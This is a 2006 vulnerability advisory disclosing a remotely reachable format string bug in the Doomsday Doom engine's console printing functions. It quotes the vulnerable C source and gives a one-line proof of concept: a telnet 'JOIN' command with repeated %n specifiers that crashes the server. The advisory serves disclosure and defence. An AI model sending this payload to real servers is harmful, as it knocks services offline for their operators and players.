Format string in Doomsday 1.8.6
#######################################################################
Luigi Auriemma
Application: Doomsday engine
http://www.doomsdayhq.com
http://deng.sourceforge.net
Versions: <= 1.8.6 (and current SVN 1.9.0)
Platforms: Windows, *nix, *BSD, Mac and others
Bug: format string bug in Con_Message and Con_Printf
Exploitation: remote, versus server and clients
Date: 03 Apr 2006
Author: Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxx
web: http://aluigi.altervista.org
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
The Doomsday engine is an enhanced and well known open source port of
the original Doom engine and is also one of the most played on
Internet.
#######################################################################
======
2) Bug
======
The Doomsday engine contains many functions used for the visualization
of the messages in the console.
Both Con_Message and conPrintf are vulnerable to a format string
vulnerability which could allow an attacker to execute malicious code
versus the server or the clients.
The first function calls a "Con_Printf(buffer)" while the second one
calls a "SW_Printf(prbuff)" if SW_IsActive is enabled (which means
ever).
>From Src/con_main.c:
void Con_Message(const char *message, ...)
{
va_list argptr;
char *buffer;
if(message[0])
{
buffer = malloc(0x10000);
va_start(argptr, message);
vsprintf(buffer, message, argptr);
va_end(argptr);
#ifdef UNIX
if(!isDedicated)
{
// These messages are supposed to be visible in the
real console.
fprintf(stderr, "%s", buffer);
}
#endif
// These messages are always dumped. If consoleDump is set,
// Con_Printf() will dump the message for us.
if(!consoleDump)
printf("%s", buffer);
// Also print in the console.
Con_Printf(buffer);
free(buffer);
}
Con_DrawStartupScreen(true);
}
...
void conPrintf(int flags, const char *format, va_list args)
{
unsigned int i;
int lbc; // line buffer cursor
char *prbuff, *lbuf = malloc(maxLineLen + 1);
cbline_t *line;
if(flags & CBLF_RULER)
{
Con_AddRuler();
flags &= ~CBLF_RULER;
}
// Allocate a print buffer that will surely be enough (64Kb).
// FIXME: No need to allocate on EVERY printf call!
prbuff = malloc(65536);
// Format the message to prbuff.
vsprintf(prbuff, format, args);
if(consoleDump)
fprintf(outFile, "%s", prbuff);
if(SW_IsActive())
SW_Printf(prbuff);
...
#######################################################################
===========
3) The Code
===========
Connect with telnet to port 13209 (default) of a DoomsDay server and
type:
JOIN 1234 %n%n%n%n%n%n
The server will crash immediately.
#######################################################################
======
4) Fix
======
No fix.
No reply from the developers.
#######################################################################
---
Luigi Auriemma
http://aluigi.altervista.org